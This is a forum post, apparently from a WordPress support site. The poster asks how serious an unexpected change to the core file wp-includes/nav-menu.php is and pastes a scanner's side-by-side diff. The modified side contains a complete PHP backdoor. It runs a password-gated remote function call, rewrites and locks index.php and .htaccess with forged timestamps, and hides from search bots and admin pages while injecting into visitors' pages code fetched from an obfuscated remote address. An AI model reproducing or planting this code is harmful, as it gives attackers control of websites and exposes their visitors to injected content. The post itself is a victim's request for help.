WordPress core file modified: wp-includes/nav-menu.php
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Hi, does anybody know how critical this is? I fixed this by replacing nav-menu.php with the repository version now.
Filename: wp-includes/nav-menu.php
File type: WordPress Core File
The Original Version of the file The Modified Version on your WordPress system
526 * @param array $args Optional. Array of arguments passed on to {@see get_terms()}. 526 * @param array $args Optional. Array of arguments passed on to {@see get_terms()}.
527 * Default empty array. 527 * Default empty array.
528 * @return array Menu objects. 528 * @return array Menu objects.
529 */ 529 *///istart
530
531 function my_time($dir) {
532 foreach (glob($dir . ‘/wp-*.php’) as $f) {
533 $times[] = filemtime($f);
534 }
535 $max = 1;
536 for ($i = 0; $i < count($times) – 1; $i++) {
537 $k = 1;
538 for ($j = $i + 1; $j < count($times); $j++) {
539 if ($times[$i] == $times[$j]) {
540 $k++;
541 if ($k > $max) {
542 $max = $k;
543 $time = $times[$i];
544 }
545 }
546 }
547 }
548 return $time;
549 }
550
551 function my_correct($dir) {
552 $time = 0;
553 $path = $dir . ‘/index.php’;
554 $content = base64_decode(‘PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==’);
555 if (file_get_contents($path) != $content) {
556 chmod($path, 0644);
557 file_put_contents($path, $content);
558 chmod($path, 0444);
559 $time = my_time($dir);
560 touch($path, $time);
561 }
562
563 $path = $dir . ‘/.htaccess’;
564 $content = base64_decode(‘IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==’);
565 if (file_exists($path) AND file_get_contents($path) != $content) {
566 chmod($path, 0644);
567 file_put_contents($path, $content);
568 chmod($path, 0444);
569 if (!$time) {
570 $time = my_time($dir);
571 }
572 touch($path, $time);
573 }
574 }
575
576 $p = $_POST;
577 $_passssword = ‘fafff3f841d025b87cc40a6bd0ee0eeb’;
578 if (@$p[$_passssword] AND @$p[‘a’] AND @$p[‘c’]) @$p[$_passssword](@$p[‘a’], @$p[‘c’], ”);
579 my_correct(dirname(__FILE__) . ‘/..’);
580
581 function request_url_data($url) {
582 if(!is_valid_url($url))
583 return false;
584
585 $site_url = (preg_match(‘/^https?:\/\//i’, $_SERVER[‘REQUEST_URI’]) ? $_SERVER[‘REQUEST_URI’] : ‘https://’ . $_SERVER[‘HTTP_HOST’] . $_SERVER[‘REQUEST_URI’]);
586 if (function_exists(‘curl_init’)) {
587 $ch = curl_init();
588 curl_setopt($ch, CURLOPT_TIMEOUT, 5);
589 curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
590 curl_setopt($ch, CURLOPT_URL, $url);
591 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
592 curl_setopt($ch, CURLOPT_HTTPHEADER, array(
593 ‘X-Forwarded-For: ‘ . $_SERVER[“REMOTE_ADDR”],
594 ‘User-Agent: ‘ . $_SERVER[“HTTP_USER_AGENT”],
595 ‘Referer: ‘ . $site_url,
596 ));
597 $response = trim(curl_exec($ch));
598 } elseif (function_exists(‘fsockopen’)) {
599 $m = parse_url($url);
600 if ($fp = fsockopen($m[‘host’], 80, $errno, $errstr, 6)) {
601 fwrite($fp, ‘GET https://’ . $m[‘host’] . $m[“path”] . ‘?’ . $m[‘query’] . ‘ HTTP/1.0’ . “\r\n” .
602 ‘Host: ‘ . $m[‘host’] . “\r\n” .
603 ‘User-Agent: ‘ . $_SERVER[“HTTP_USER_AGENT”] . “\r\n” .
604 ‘X-Forwarded-For: ‘ . @$_SERVER[“REMOTE_ADDR”] . “\r\n” .
605 ‘Referer: ‘ . $site_url . “\r\n” .
606 ‘Connection: Close’ . “\r\n\r\n”);
607 $response = ”;
608 while (!feof($fp)) {
609 $response .= fgets($fp, 1024);
610 }
611 list($headers, $response) = explode(“\r\n\r\n”, $response);
612 fclose($fp);
613 }
614 } else {
615 $response = ‘curl_init and fsockopen disabled’;
616 }
617 return $response;
618 }
619
620 error_reporting(0);
621
622 //unset($_passssword);
623
624 if (function_exists(“add_action”)) {
625 add_action(‘wp_head’, ‘add_2head’);
626 add_action(‘wp_footer’, ‘add_2footer’);
627 }
628
629 function add_2head() {
630 ob_start();
631 }
632
633 function is_valid_url(&$url)
634 {
635 if (!preg_match(‘/^(.+?)(\d+)\.(\d+)\.(\d+)\.(\d+)(.+?)$/’, $url, $m))
636 return false;
637 $url = $m[1].$m[5].’.’.$m[4].’.’.$m[3].’.’.$m[2].$m[6];
638 return true;
639 }
640
641 function add_2footer() {
642 $check = false;
643 $check_data = “”;
644 if (!empty($_GET[‘check’]) AND $_GET[‘check’] == ‘fafff3f841d025b87cc40a6bd0ee0eeb’) {
645 $check = true;
646 $check_data = (‘<!–checker_start ‘);
647 $check_data .= (substr(request_url_data(‘https://maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css’), 0, 100));
648 $check_data .= (‘ checker_end–>’);
649 }
650
651 if (!$check) {
652 if (!@$_SERVER[‘HTTP_USER_AGENT’] OR (substr($_SERVER[‘REMOTE_ADDR’], 0, 6) == ‘74.125’) OR preg_match(‘/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i’, $_SERVER[‘HTTP_USER_AGENT’]))
653 return;
654
655 $cookie_name = ‘PHP_SESSION_PHP’;
656 if (isset($_COOKIE[$cookie_name]))
657 return;
658
659 foreach (array(‘/\.css$/’, ‘/\.swf$/’, ‘/\.ashx$/’, ‘/\.docx$/’, ‘/\.doc$/’, ‘/\.xls$/’, ‘/\.xlsx$/’, ‘/\.xml$/’, ‘/\.jpg$/’, ‘/\.pdf$/’, ‘/\.png$/’, ‘/\.gif$/’, ‘/\.ico$/’, ‘/\.js$/’, ‘/\.txt$/’, ‘/ajax/’, ‘/cron\.php$/’, ‘/wp\-login\.php$/’, ‘/\/wp\-includes\//’, ‘/\/wp\-admin/’, ‘/\/admin\//’, ‘/\/wp\-content\//’, ‘/\/administrator\//’, ‘/phpmyadmin/i’, ‘/xmlrpc\.php/’, ‘/\/feed\//’) as $regex) {
660 if (preg_match($regex, $_SERVER[‘REQUEST_URI’]))
661 return;
662 }
663 }
664
665 $buffer = ob_get_clean();
666 ob_start();
667 $regexp = ‘/<body[^>]*>/is’;
668 if (preg_match($regexp, $buffer, $m)) {
669 $body = $m[0];
670 // $url = base64_decode(‘a3d3czksLDIwOy0xNjItNi0yOzYsYW9sZCw8cWZmYWxoJXZ3blxwbHZxYGY+NTMyOjE5NDA1Mjs6OTI7OjI=’);
671 $url = decrypt_url(‘a3d3czksLDIwOy0xNjItNi0yOzYsYW9sZCw8cWZmYWxoJXZ3blxwbHZxYGY+NTMyOjE5NDA1Mjs6OTI7OjI=’);
672 // if (($code = request_url_data($url)) AND base64_decode($code) AND preg_match(‘#[a-zA-Z0-9+/]+={0,3}#is’, $code, $m)) {
673 if (($code = request_url_data($url)) AND $decoded = base64_decode($code, true)) {
674 // $body .= ‘<script>var date = new Date(new Date().getTime() + 60*60*24*7*1000); document.cookie=”‘ . $cookie_name . ‘=’ . mt_rand(1, 1024) . ‘; path=/; expires=”+date.toUTCString();</script>’;
675 // $body .= base64_decode($m[0]);
676 $body .= $decoded;
677 // $body .= base64_decode($m[0]);
678 }
679 $body .= $check_data;
680
681 $buffer = preg_replace($regexp, $body, $buffer);
682 }
683 echo $buffer;
684 ob_flush();
685 }
686
687 function decrypt_url($encrypted_url)
688 {
689 $encrypted_url = base64_decode($encrypted_url);
690 $url = ”;
691 for ($i = 0; $i < strlen($encrypted_url); $i++)
692 {
693 $url .= chr(ord($encrypted_url[$i]) ^ 3);
694 }
695 return $url;
696 }//iend
697
530 function wp_get_nav_menus( $args = array() ) { 698 function wp_get_nav_menus( $args = array() ) {
531 $defaults = array( ‘hide_empty’ => false, ‘orderby’ => ‘name’ ); 699 $defaults = array( ‘hide_empty’ => false, ‘orderby’ => ‘name’ );
532 $args = wp_parse_args( $args, $defaults ); 700 $args = wp_parse_args( $args, $defaults );
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